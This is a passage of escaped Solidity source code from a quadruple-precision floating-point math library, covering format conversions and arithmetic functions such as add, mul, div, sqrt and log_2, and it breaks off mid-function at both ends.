0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative =\\n x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand =\\n uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX =\\n uint128(x) >= 0x80000000000000000000000000000000;\\n bool negativeY =\\n uint128(y) >= 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb =\\n xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb =\\n xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x ^ 0x80000000000000000000000000000000;}\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift =\\n 112 - mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 